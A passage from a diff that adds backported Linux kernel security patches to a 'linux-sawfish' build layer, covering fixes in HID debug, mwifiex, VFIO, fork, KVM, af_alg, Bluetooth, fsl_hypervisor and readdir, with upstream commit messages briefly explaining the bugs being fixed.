flags; + + spin_lock_irqsave(&hdev->debug_list_lock, flags); +- list_for_each_entry(list, &hdev->debug_list, node) { +- for (i = 0; i < strlen(buf); i++) +- list->hid_debug_buf[(list->tail + i) % HID_DEBUG_BUFSIZE] = +- buf[i]; +- list->tail = (list->tail + i) % HID_DEBUG_BUFSIZE; +- } ++ list_for_each_entry(list, &hdev->debug_list, node) ++ kfifo_in(&list->hid_debug_fifo, buf, strlen(buf)); + spin_unlock_irqrestore(&hdev->debug_list_lock, flags); + + wake_up_interruptible(&hdev->debug_wait); +@@ -719,8 +715,7 @@ void hid_dump_input(struct hid_device *hdev, struct hid_usage *usage, __s32 valu + hid_debug_event(hdev, buf); + + kfree(buf); +- wake_up_interruptible(&hdev->debug_wait); +- ++ wake_up_interruptible(&hdev->debug_wait); + } + EXPORT_SYMBOL_GPL(hid_dump_input); + +@@ -1085,8 +1080,8 @@ static int hid_debug_events_open(struct inode *inode, struct file *file) + goto out; + } + +- if (!(list->hid_debug_buf = kzalloc(sizeof(char) * HID_DEBUG_BUFSIZE, GFP_KERNEL))) { +- err = -ENOMEM; ++ err = kfifo_alloc(&list->hid_debug_fifo, HID_DEBUG_FIFOSIZE, GFP_KERNEL); ++ if (err) { + kfree(list); + goto out; + } +@@ -1106,76 +1101,57 @@ static ssize_t hid_debug_events_read(struct file *file, char __user *buffer, + size_t count, loff_t *ppos) + { + struct hid_debug_list *list = file->private_data; +- int ret = 0, len; ++ int ret = 0, copied; + DECLARE_WAITQUEUE(wait, current); + + mutex_lock(&list->read_mutex); +- while (ret == 0) { +- if (list->head == list->tail) { +- add_wait_queue(&list->hdev->debug_wait, &wait); +- set_current_state(TASK_INTERRUPTIBLE); +- +- while (list->head == list->tail) { +- if (file->f_flags & O_NONBLOCK) { +- ret = -EAGAIN; +- break; +- } +- if (signal_pending(current)) { +- ret = -ERESTARTSYS; +- break; +- } ++ if (kfifo_is_empty(&list->hid_debug_fifo)) { ++ add_wait_queue(&list->hdev->debug_wait, &wait); ++ set_current_state(TASK_INTERRUPTIBLE); ++ ++ while (kfifo_is_empty(&list->hid_debug_fifo)) { ++ if (file->f_flags & O_NONBLOCK) { ++ ret = -EAGAIN; ++ break; ++ } + +- if (!list->hdev || !list->hdev->debug) { +- ret = -EIO; +- break; +- } ++ if (signal_pending(current)) { ++ ret = -ERESTARTSYS; ++ break; ++ } + +- /* allow O_NONBLOCK from other threads */ +- mutex_unlock(&list->read_mutex); +- schedule(); +- mutex_lock(&list->read_mutex); +- set_current_state(TASK_INTERRUPTIBLE); ++ /* if list->hdev is NULL we cannot remove_wait_queue(). ++ * if list->hdev->debug is 0 then hid_debug_unregister() ++ * was already called and list->hdev is being destroyed. ++ * if we add remove_wait_queue() here we can hit a race. ++ */ ++ if (!list->hdev || !list->hdev->debug) { ++ ret = -EIO; ++ set_current_state(TASK_RUNNING); ++ goto out; + } + +- set_current_state(TASK_RUNNING); +- remove_wait_queue(&list->hdev->debug_wait, &wait); ++ /* allow O_NONBLOCK from other threads */ ++ mutex_unlock(&list->read_mutex); ++ schedule(); ++ mutex_lock(&list->read_mutex); ++ set_current_state(TASK_INTERRUPTIBLE); + } + +- if (ret) +- goto out; ++ __set_current_state(TASK_RUNNING); ++ remove_wait_queue(&list->hdev->debug_wait, &wait); + +- /* pass the ringbuffer contents to userspace */ +-copy_rest: +- if (list->tail == list->head) ++ if (ret) + goto out; +- if (list->tail > list->head) { +- len = list->tail - list->head; +- if (len > count) +- len = count; +- +- if (copy_to_user(buffer + ret, &list->hid_debug_buf[list->head], len)) { +- ret = -EFAULT; +- goto out; +- } +- ret += len; +- list->head += len; +- } else { +- len = HID_DEBUG_BUFSIZE - list->head; +- if (len > count) +- len = count; +- +- if (copy_to_user(buffer, &list->hid_debug_buf[list->head], len)) { +- ret = -EFAULT; +- goto out; +- } +- list->head = 0; +- ret += len; +- count -= len; +- if (count > 0) +- goto copy_rest; +- } +- + } ++ ++ /* pass the fifo content to userspace, locking is not needed with only ++ * one concurrent reader and one concurrent writer ++ */ ++ ret = kfifo_to_user(&list->hid_debug_fifo, buffer, count, &copied); ++ if (ret) ++ goto out; ++ ret = copied; + out: + mutex_unlock(&list->read_mutex); + return ret; +@@ -1186,7 +1162,7 @@ static unsigned int hid_debug_events_poll(struct file *file, poll_table *wait) + struct hid_debug_list *list = file->private_data; + + poll_wait(file, &list->hdev->debug_wait, wait); +- if (list->head != list->tail) ++ if (!kfifo_is_empty(&list->hid_debug_fifo)) + return POLLIN | POLLRDNORM; + if (!list->hdev->debug) + return POLLERR | POLLHUP; +@@ -1201,7 +1177,7 @@ static int hid_debug_events_release(struct inode *inode, struct file *file) + spin_lock_irqsave(&list->hdev->debug_list_lock, flags); + list_del(&list->node); + spin_unlock_irqrestore(&list->hdev->debug_list_lock, flags); +- kfree(list->hid_debug_buf); ++ kfifo_free(&list->hid_debug_fifo); + kfree(list); + + return 0; +@@ -1252,4 +1228,3 @@ void hid_debug_exit(void) + { + debugfs_remove_recursive(hid_debug_root); + } +- +diff --git a/include/linux/hid-debug.h b/include/linux/hid-debug.h +index 8663f216c563e..2d6100edf2049 100644 +--- a/include/linux/hid-debug.h ++++ b/include/linux/hid-debug.h +@@ -24,7 +24,10 @@ + + #ifdef CONFIG_DEBUG_FS + ++#include ++ + #define HID_DEBUG_BUFSIZE 512 ++#define HID_DEBUG_FIFOSIZE 512 + + void hid_dump_input(struct hid_device *, struct hid_usage *, __s32); + void hid_dump_report(struct hid_device *, int , u8 *, int); +@@ -37,11 +40,8 @@ void hid_debug_init(void); + void hid_debug_exit(void); + void hid_debug_event(struct hid_device *, char *); + +- + struct hid_debug_list { +- char *hid_debug_buf; +- int head; +- int tail; ++ DECLARE_KFIFO_PTR(hid_debug_fifo, char); + struct fasync_struct *fasync; + struct hid_device *hdev; + struct list_head node; +@@ -64,4 +64,3 @@ struct hid_debug_list { + #endif + + #endif +- +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0505.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0505.diff new file mode 100644 index 0000000..e1072c7 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0505.diff @@ -0,0 +1,22 @@ +diff --git a/drivers/net/wireless/mwifiex/scan.c b/drivers/net/wireless/mwifiex/scan.c +index ca64d4c..9082274 100644 +--- a/drivers/net/wireless/mwifiex/scan.c ++++ b/drivers/net/wireless/mwifiex/scan.c +@@ -1183,6 +1183,8 @@ + } + switch (element_id) { + case WLAN_EID_SSID: ++ if (element_len > IEEE80211_MAX_SSID_LEN) ++ return -EINVAL; + bss_entry->ssid.ssid_len = element_len; + memcpy(bss_entry->ssid.ssid, (current_ptr + 2), + element_len); +@@ -1192,6 +1194,8 @@ + break; + + case WLAN_EID_SUPP_RATES: ++ if (element_len > MWIFIEX_SUPPORTED_RATES) ++ return -EINVAL; + memcpy(bss_entry->data_rates, current_ptr + 2, + element_len); + memcpy(bss_entry->supported_rates, current_ptr + 2, diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0506.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0506.diff new file mode 100644 index 0000000..5d4639b --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0506.diff @@ -0,0 +1,56 @@ +diff --git a/drivers/vfio/vfio_iommu_type1.c b/drivers/vfio/vfio_iommu_type1.c +index 3d1cbbd..229732c 100644 +--- a/drivers/vfio/vfio_iommu_type1.c ++++ b/drivers/vfio/vfio_iommu_type1.c +@@ -53,10 +53,16 @@ + MODULE_PARM_DESC(disable_hugepages, + "Disable VFIO IOMMU support for IOMMU hugepages."); + ++static unsigned int dma_entry_limit __read_mostly = U16_MAX; ++module_param_named(dma_entry_limit, dma_entry_limit, uint, 0644); ++MODULE_PARM_DESC(dma_entry_limit, ++ "Maximum number of user DMA mappings per container (65535)."); ++ + struct vfio_iommu { + struct list_head domain_list; + struct mutex lock; + struct rb_root dma_list; ++ unsigned int dma_avail; + bool v2; + bool nesting; + }; +@@ -377,6 +383,7 @@ + vfio_unmap_unpin(iommu, dma); + vfio_unlink_dma(iommu, dma); + kfree(dma); ++ iommu->dma_avail++; + } + + static unsigned long vfio_pgsize_bitmap(struct vfio_iommu *iommu) +@@ -562,12 +569,18 @@ + return -EEXIST; + } + ++ if (!iommu->dma_avail) { ++ mutex_unlock(&iommu->lock); ++ return -ENOSPC; ++ } ++ + dma = kzalloc(sizeof(*dma), GFP_KERNEL); + if (!dma) { + mutex_unlock(&iommu->lock); + return -ENOMEM; + } + ++ iommu->dma_avail--; + dma->iova = iova; + dma->vaddr = vaddr; + dma->prot = prot; +@@ -848,6 +861,7 @@ + + INIT_LIST_HEAD(&iommu->domain_list); + iommu->dma_list = RB_ROOT; ++ iommu->dma_avail = dma_entry_limit; + mutex_init(&iommu->lock); + + return iommu; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0507-0b2758fb10d9-fork record starttime late.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0507-0b2758fb10d9-fork record starttime late.patch new file mode 100644 index 0000000..6e9bed7 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0507-0b2758fb10d9-fork record starttime late.patch @@ -0,0 +1,80 @@ +From 0b2758fb10d9557899b614e76a6d60d299baadf5 Mon Sep 17 00:00:00 2001 +From: David Herrmann +Date: Tue, 8 Jan 2019 13:58:52 +0100 +Subject: fork: record start_time late + +commit 7b55851367136b1efd84d98fea81ba57a98304cf upstream. + +This changes the fork(2) syscall to record the process start_time after +initializing the basic task structure but still before making the new +process visible to user-space. + +Technically, we could record the start_time anytime during fork(2). But +this might lead to scenarios where a start_time is recorded long before +a process becomes visible to user-space. For instance, with +userfaultfd(2) and TLS, user-space can delay the execution of fork(2) +for an indefinite amount of time (and will, if this causes network +access, or similar). + +By recording the start_time late, it much closer reflects the point in +time where the process becomes live and can be observed by other +processes. + +Lastly, this makes it much harder for user-space to predict and control +the start_time they get assigned. Previously, user-space could fork a +process and stall it in copy_thread_tls() before its pid is allocated, +but after its start_time is recorded. This can be misused to later-on +cycle through PIDs and resume the stalled fork(2) yielding a process +that has the same pid and start_time as a process that existed before. +This can be used to circumvent security systems that identify processes +by their pid+start_time combination. + +Even though user-space was always aware that start_time recording is +flaky (but several projects are known to still rely on start_time-based +identification), changing the start_time to be recorded late will help +mitigate existing attacks and make it much harder for user-space to +control the start_time a process gets assigned. + +Reported-by: Jann Horn +Signed-off-by: Tom Gundersen +Signed-off-by: David Herrmann +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +--- + kernel/fork.c | 13 +++++++++++-- + 1 file changed, 11 insertions(+), 2 deletions(-) + +diff --git a/kernel/fork.c b/kernel/fork.c +index 384394beb7011..2d826b864713f 100644 +--- a/kernel/fork.c ++++ b/kernel/fork.c +@@ -1321,8 +1321,6 @@ static struct task_struct *copy_process(unsigned long clone_flags, + + posix_cpu_timers_init(p); + +- p->start_time = ktime_get_ns(); +- p->real_start_time = ktime_get_boot_ns(); + p->io_context = NULL; + p->audit_context = NULL; + if (clone_flags & CLONE_THREAD) +@@ -1486,6 +1484,17 @@ static struct task_struct *copy_process(unsigned long clone_flags, + + spin_lock(¤t->sighand->siglock); + ++ /* ++ * From this point on we must avoid any synchronous user-space ++ * communication until we take the tasklist-lock. In particular, we do ++ * not want user-space to be able to predict the process start-time by ++ * stalling fork(2) after we recorded the start_time but before it is ++ * visible to the system. ++ */ ++ ++ p->start_time = ktime_get_ns(); ++ p->real_start_time = ktime_get_boot_ns(); ++ + /* + * Copy seccomp details explicitly here, in case they were changed + * before holding sighand lock. +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0508-673f9cf4a99f-kvm fix kvmioctlcreatedevice reference counting CVE20196974.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0508-673f9cf4a99f-kvm fix kvmioctlcreatedevice reference counting CVE20196974.patch new file mode 100644 index 0000000..ff9f4f5 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0508-673f9cf4a99f-kvm fix kvmioctlcreatedevice reference counting CVE20196974.patch @@ -0,0 +1,57 @@ +From 673f9cf4a99f80a8cab2b015adf1b03c8ca4d66a Mon Sep 17 00:00:00 2001 +From: Jann Horn +Date: Sat, 26 Jan 2019 01:54:33 +0100 +Subject: kvm: fix kvm_ioctl_create_device() reference counting (CVE-2019-6974) + +commit cfa39381173d5f969daf43582c95ad679189cbc9 upstream. + +kvm_ioctl_create_device() does the following: + +1. creates a device that holds a reference to the VM object (with a borrowed + reference, the VM's refcount has not been bumped yet) +2. initializes the device +3. transfers the reference to the device to the caller's file descriptor table +4. calls kvm_get_kvm() to turn the borrowed reference to the VM into a real + reference + +The ownership transfer in step 3 must not happen before the reference to the VM +becomes a proper, non-borrowed reference, which only happens in step 4. +After step 3, an attacker can close the file descriptor and drop the borrowed +reference, which can cause the refcount of the kvm object to drop to zero. + +This means that we need to grab a reference for the device before +anon_inode_getfd(), otherwise the VM can disappear from under us. + +Fixes: 852b6d57dc7f ("kvm: add device control API") +Cc: stable@kernel.org +Signed-off-by: Jann Horn +Signed-off-by: Paolo Bonzini +Signed-off-by: Greg Kroah-Hartman +--- + virt/kvm/kvm_main.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/virt/kvm/kvm_main.c b/virt/kvm/kvm_main.c +index 3d5ae6f655dfc..eb006bc9f7928 100644 +--- a/virt/kvm/kvm_main.c ++++ b/virt/kvm/kvm_main.c +@@ -2398,14 +2398,15 @@ static int kvm_ioctl_create_device(struct kvm *kvm, + return ret; + } + ++ kvm_get_kvm(kvm); + ret = anon_inode_getfd(ops->name, &kvm_device_fops, dev, O_RDWR | O_CLOEXEC); + if (ret < 0) { ++ kvm_put_kvm(kvm); + ops->destroy(dev); + return ret; + } + + list_add(&dev->vm_node, &kvm->devices); +- kvm_get_kvm(kvm); + cd->fd = ret; + return 0; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0509-8767556995ad-KVM nVMX unconditionally cancel preemption timer in freenested.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0509-8767556995ad-KVM nVMX unconditionally cancel preemption timer in freenested.patch new file mode 100644 index 0000000..da50429 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0509-8767556995ad-KVM nVMX unconditionally cancel preemption timer in freenested.patch @@ -0,0 +1,44 @@ +From 8767556995adf9a10b49fb0c2098b7aeb40ee64c Mon Sep 17 00:00:00 2001 +From: Peter Shier +Date: Thu, 11 Oct 2018 11:46:46 -0700 +Subject: KVM: nVMX: unconditionally cancel preemption timer in free_nested + (CVE-2019-7221) + +commit ecec76885bcfe3294685dc363fd1273df0d5d65f upstream. + +Bugzilla: 1671904 + +There are multiple code paths where an hrtimer may have been started to +emulate an L1 VMX preemption timer that can result in a call to free_nested +without an intervening L2 exit where the hrtimer is normally +cancelled. Unconditionally cancel in free_nested to cover all cases. + +Embargoed until Feb 7th 2019. + +Signed-off-by: Peter Shier +Reported-by: Jim Mattson +Reviewed-by: Jim Mattson +Reported-by: Felix Wilhelm +Cc: stable@kernel.org +Message-Id: <20181011184646.154065-1-pshier@google.com> +Signed-off-by: Paolo Bonzini +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/kvm/vmx.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/arch/x86/kvm/vmx.c b/arch/x86/kvm/vmx.c +index cd51f320a4600..3467783fe49c6 100644 +--- a/arch/x86/kvm/vmx.c ++++ b/arch/x86/kvm/vmx.c +@@ -6295,6 +6295,7 @@ static void free_nested(struct vcpu_vmx *vmx) + if (!vmx->nested.vmxon) + return; + ++ hrtimer_cancel(&vmx->nested.preemption_timer); + vmx->nested.vmxon = false; + nested_release_vmcs12(vmx); + if (enable_shadow_vmcs) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0510-d283b5404655-KVM x86 work around leak of uninitialized stack contents.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0510-d283b5404655-KVM x86 work around leak of uninitialized stack contents.patch new file mode 100644 index 0000000..0c0d926 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0510-d283b5404655-KVM x86 work around leak of uninitialized stack contents.patch @@ -0,0 +1,50 @@ +From d283b5404655ef51aeafb092d7c79c6718b48c7b Mon Sep 17 00:00:00 2001 +From: Paolo Bonzini +Date: Tue, 29 Jan 2019 18:41:16 +0100 +Subject: KVM: x86: work around leak of uninitialized stack contents + (CVE-2019-7222) + +commit 353c0956a618a07ba4bbe7ad00ff29fe70e8412a upstream. + +Bugzilla: 1671930 + +Emulation of certain instructions (VMXON, VMCLEAR, VMPTRLD, VMWRITE with +memory operand, INVEPT, INVVPID) can incorrectly inject a page fault +when passed an operand that points to an MMIO address. The page fault +will use uninitialized kernel stack memory as the CR2 and error code. + +The right behavior would be to abort the VM with a KVM_EXIT_INTERNAL_ERROR +exit to userspace; however, it is not an easy fix, so for now just +ensure that the error code and CR2 are zero. + +Embargoed until Feb 7th 2019. + +Reported-by: Felix Wilhelm +Cc: stable@kernel.org +Signed-off-by: Paolo Bonzini +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/kvm/x86.c | 7 +++++++ + 1 file changed, 7 insertions(+) + +diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c +index 4de23979d0ffe..8240fc1d69a5a 100644 +--- a/arch/x86/kvm/x86.c ++++ b/arch/x86/kvm/x86.c +@@ -4279,6 +4279,13 @@ int kvm_read_guest_virt(struct x86_emulate_ctxt *ctxt, + struct kvm_vcpu *vcpu = emul_to_vcpu(ctxt); + u32 access = (kvm_x86_ops->get_cpl(vcpu) == 3) ? PFERR_USER_MASK : 0; + ++ /* ++ * FIXME: this should call handle_emulation_failure if X86EMUL_IO_NEEDED ++ * is returned, but our callers are not ready for that and they blindly ++ * call kvm_inject_page_fault. Ensure that they at least do not leak ++ * uninitialized kernel stack memory into cr2 and error code. ++ */ ++ memset(exception, 0, sizeof(*exception)); + return kvm_read_guest_virt_helper(addr, val, bytes, vcpu, access, + exception); + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0511.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0511.diff new file mode 100644 index 0000000..e3807aa --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0511.diff @@ -0,0 +1,16 @@ +diff --git a/crypto/af_alg.c b/crypto/af_alg.c +index 07eabe5..5a1432a 100644 +--- a/crypto/af_alg.c ++++ b/crypto/af_alg.c +@@ -121,8 +121,10 @@ + + int af_alg_release(struct socket *sock) + { +- if (sock->sk) ++ if (sock->sk) { + sock_put(sock->sk); ++ sock->sk = NULL; ++ } + return 0; + } + EXPORT_SYMBOL_GPL(af_alg_release); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0512.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0512.diff new file mode 100644 index 0000000..58b23cd --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0512.diff @@ -0,0 +1,33 @@ +diff --git a/include/net/bluetooth/hci_core.h b/include/net/bluetooth/hci_core.h +index 37ff1ae..604d359 100644 +--- a/include/net/bluetooth/hci_core.h ++++ b/include/net/bluetooth/hci_core.h +@@ -145,6 +145,9 @@ + + #define HCI_MAX_SHORT_NAME_LENGTH 10 + ++/* Min encryption key size to match with SMP */ ++#define HCI_MIN_ENC_KEY_SIZE 7 ++ + /* Default LE RPA expiry time, 15 minutes */ + #define HCI_DEFAULT_RPA_TIMEOUT (15 * 60) + +diff --git a/net/bluetooth/hci_conn.c b/net/bluetooth/hci_conn.c +index b45eb24..489fb5a 100644 +--- a/net/bluetooth/hci_conn.c ++++ b/net/bluetooth/hci_conn.c +@@ -932,6 +932,14 @@ + !test_bit(HCI_CONN_ENCRYPT, &conn->flags)) + return 0; + ++ /* The minimum encryption key size needs to be enforced by the ++ * host stack before establishing any L2CAP connections. The ++ * specification in theory allows a minimum of 1, but to align ++ * BR/EDR and LE transports, a minimum of 7 is chosen. ++ */ ++ if (conn->enc_key_size < HCI_MIN_ENC_KEY_SIZE) ++ return 0; ++ + return 1; + } + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0513.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0513.diff new file mode 100644 index 0000000..eb98a21 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0513.diff @@ -0,0 +1,110 @@ +diff --git a/net/bluetooth/hci_conn.c b/net/bluetooth/hci_conn.c +index 489fb5a..2ac8cfb 100644 +--- a/net/bluetooth/hci_conn.c ++++ b/net/bluetooth/hci_conn.c +@@ -932,14 +932,6 @@ + !test_bit(HCI_CONN_ENCRYPT, &conn->flags)) + return 0; + +- /* The minimum encryption key size needs to be enforced by the +- * host stack before establishing any L2CAP connections. The +- * specification in theory allows a minimum of 1, but to align +- * BR/EDR and LE transports, a minimum of 7 is chosen. +- */ +- if (conn->enc_key_size < HCI_MIN_ENC_KEY_SIZE) +- return 0; +- + return 1; + } + +@@ -1056,8 +1048,16 @@ + return 0; + + encrypt: +- if (test_bit(HCI_CONN_ENCRYPT, &conn->flags)) ++ if (test_bit(HCI_CONN_ENCRYPT, &conn->flags)) { ++ /* Ensure that the encryption key size has been read, ++ * otherwise stall the upper layer responses. ++ */ ++ if (!conn->enc_key_size) ++ return 0; ++ ++ /* Nothing else needed, all requirements are met */ + return 1; ++ } + + hci_conn_encrypt(conn); + return 0; +diff --git a/net/bluetooth/l2cap_core.c b/net/bluetooth/l2cap_core.c +index 2b7f4e9..3c09007 100644 +--- a/net/bluetooth/l2cap_core.c ++++ b/net/bluetooth/l2cap_core.c +@@ -1301,6 +1301,21 @@ + sizeof(req), &req); + } + ++static bool l2cap_check_enc_key_size(struct hci_conn *hcon) ++{ ++ /* The minimum encryption key size needs to be enforced by the ++ * host stack before establishing any L2CAP connections. The ++ * specification in theory allows a minimum of 1, but to align ++ * BR/EDR and LE transports, a minimum of 7 is chosen. ++ * ++ * This check might also be called for unencrypted connections ++ * that have no key size requirements. Ensure that the link is ++ * actually encrypted before enforcing a key size. ++ */ ++ return (!test_bit(HCI_CONN_ENCRYPT, &hcon->flags) || ++ hcon->enc_key_size > HCI_MIN_ENC_KEY_SIZE); ++} ++ + static void l2cap_do_start(struct l2cap_chan *chan) + { + struct l2cap_conn *conn = chan->conn; +@@ -1318,9 +1333,14 @@ + if (!(conn->info_state & L2CAP_INFO_FEAT_MASK_REQ_DONE)) + return; + +- if (l2cap_chan_check_security(chan, true) && +- __l2cap_no_conn_pending(chan)) ++ if (!l2cap_chan_check_security(chan, true) || ++ !__l2cap_no_conn_pending(chan)) ++ return; ++ ++ if (l2cap_check_enc_key_size(conn->hcon)) + l2cap_start_connection(chan); ++ else ++ __set_chan_timer(chan, L2CAP_DISC_TIMEOUT); + } + + static inline int l2cap_mode_supported(__u8 mode, __u32 feat_mask) +@@ -1399,7 +1419,10 @@ + continue; + } + +- l2cap_start_connection(chan); ++ if (l2cap_check_enc_key_size(conn->hcon)) ++ l2cap_start_connection(chan); ++ else ++ l2cap_chan_close(chan, ECONNREFUSED); + + } else if (chan->state == BT_CONNECT2) { + struct l2cap_conn_rsp rsp; +@@ -7355,7 +7378,7 @@ + } + + if (chan->state == BT_CONNECT) { +- if (!status) ++ if (!status && l2cap_check_enc_key_size(hcon)) + l2cap_start_connection(chan); + else + __set_chan_timer(chan, L2CAP_DISC_TIMEOUT); +@@ -7363,7 +7386,7 @@ + struct l2cap_conn_rsp rsp; + __u16 res, stat; + +- if (!status) { ++ if (!status && l2cap_check_enc_key_size(hcon)) { + if (test_bit(FLAG_DEFER_SETUP, &chan->flags)) { + res = L2CAP_CR_PEND; + stat = L2CAP_CS_AUTHOR_PEND; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0514.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0514.diff new file mode 100644 index 0000000..111eb2c --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0514.diff @@ -0,0 +1,13 @@ +diff --git a/net/bluetooth/l2cap_core.c b/net/bluetooth/l2cap_core.c +index 3c09007..e62d1fb 100644 +--- a/net/bluetooth/l2cap_core.c ++++ b/net/bluetooth/l2cap_core.c +@@ -1313,7 +1313,7 @@ + * actually encrypted before enforcing a key size. + */ + return (!test_bit(HCI_CONN_ENCRYPT, &hcon->flags) || +- hcon->enc_key_size > HCI_MIN_ENC_KEY_SIZE); ++ hcon->enc_key_size >= HCI_MIN_ENC_KEY_SIZE); + } + + static void l2cap_do_start(struct l2cap_chan *chan) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0515-db7e50136a20-driversvirtfslhypervisorc prevent integer overflow in ioctl.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0515-db7e50136a20-driversvirtfslhypervisorc prevent integer overflow in ioctl.patch new file mode 100644 index 0000000..317690e --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0515-db7e50136a20-driversvirtfslhypervisorc prevent integer overflow in ioctl.patch @@ -0,0 +1,48 @@ +From db7e50136a20bc175fe081ff1764b5b96af85e2d Mon Sep 17 00:00:00 2001 +From: Dan Carpenter +Date: Tue, 14 May 2019 15:47:03 -0700 +Subject: drivers/virt/fsl_hypervisor.c: prevent integer overflow in ioctl + +commit 6a024330650e24556b8a18cc654ad00cfecf6c6c upstream. + +The "param.count" value is a u64 thatcomes from the user. The code +later in the function assumes that param.count is at least one and if +it's not then it leads to an Oops when we dereference the ZERO_SIZE_PTR. + +Also the addition can have an integer overflow which would lead us to +allocate a smaller "pages" array than required. I can't immediately +tell what the possible run times implications are, but it's safest to +prevent the overflow. + +Link: http://lkml.kernel.org/r/20181218082129.GE32567@kadam +Fixes: 6db7199407ca ("drivers/virt: introduce Freescale hypervisor management driver") +Signed-off-by: Dan Carpenter +Reviewed-by: Andrew Morton +Cc: Timur Tabi +Cc: Mihai Caraman +Cc: Kumar Gala +Cc: +Signed-off-by: Andrew Morton +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +--- + drivers/virt/fsl_hypervisor.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/drivers/virt/fsl_hypervisor.c b/drivers/virt/fsl_hypervisor.c +index 3edc7287b1143..3df3946d6e827 100644 +--- a/drivers/virt/fsl_hypervisor.c ++++ b/drivers/virt/fsl_hypervisor.c +@@ -215,6 +215,9 @@ static long ioctl_memcpy(struct fsl_hv_ioctl_memcpy __user *p) + * hypervisor. + */ + lb_offset = param.local_vaddr & (PAGE_SIZE - 1); ++ if (param.count == 0 || ++ param.count > U64_MAX - lb_offset - PAGE_SIZE + 1) ++ return -EINVAL; + num_pages = (param.count + lb_offset + PAGE_SIZE - 1) >> PAGE_SHIFT; + + /* Allocate the buffers we need */ +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0516.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0516.diff new file mode 100644 index 0000000..fb8a7a8 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0516.diff @@ -0,0 +1,65 @@ +diff --git a/fs/readdir.c b/fs/readdir.c +index 33fd922..9c251bb 100644 +--- a/fs/readdir.c ++++ b/fs/readdir.c +@@ -51,6 +51,40 @@ + EXPORT_SYMBOL(iterate_dir); + + /* ++ * POSIX says that a dirent name cannot contain NULL or a '/'. ++ * ++ * It's not 100% clear what we should really do in this case. ++ * The filesystem is clearly corrupted, but returning a hard ++ * error means that you now don't see any of the other names ++ * either, so that isn't a perfect alternative. ++ * ++ * And if you return an error, what error do you use? Several ++ * filesystems seem to have decided on EUCLEAN being the error ++ * code for EFSCORRUPTED, and that may be the error to use. Or ++ * just EIO, which is perhaps more obvious to users. ++ * ++ * In order to see the other file names in the directory, the ++ * caller might want to make this a "soft" error: skip the ++ * entry, and return the error at the end instead. ++ * ++ * Note that this should likely do a "memchr(name, 0, len)" ++ * check too, since that would be filesystem corruption as ++ * well. However, that case can't actually confuse user space, ++ * which has to do a strlen() on the name anyway to find the ++ * filename length, and the above "soft error" worry means ++ * that it's probably better left alone until we have that ++ * issue clarified. ++ */ ++static int verify_dirent_name(const char *name, int len) ++{ ++ if (WARN_ON_ONCE(!len)) ++ return -EIO; ++ if (WARN_ON_ONCE(memchr(name, '/', len))) ++ return -EIO; ++ return 0; ++} ++ ++/* + * Traditional linux readdir() handling.. + * + * "count=1" is a special case, meaning that the buffer is one +@@ -157,6 +191,9 @@ + int reclen = ALIGN(offsetof(struct linux_dirent, d_name) + namlen + 2, + sizeof(long)); + ++ buf->error = verify_dirent_name(name, namlen); ++ if (unlikely(buf->error)) ++ return buf->error; + buf->error = -EINVAL; /* only used if we fail.. */ + if (reclen > buf->count) + return -EINVAL; +@@ -240,6 +277,9 @@ + int reclen = ALIGN(offsetof(struct linux_dirent64, d_name) + namlen + 1, + sizeof(u64)); + ++ buf->error = verify_dirent_name(name, namlen); ++ if (unlikely(buf->error)) ++ return buf->error; + buf->error = -EINVAL; /* only used if we fail.. */ + if (reclen > buf->count) + return -EINVAL; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0517.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0517.diff new file mode 100644 index 0000000..3f9f236 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0517.diff @@ -0,0 +1,16 @@ +diff --git a/fs/readdir.c b/fs/readdir.c +index 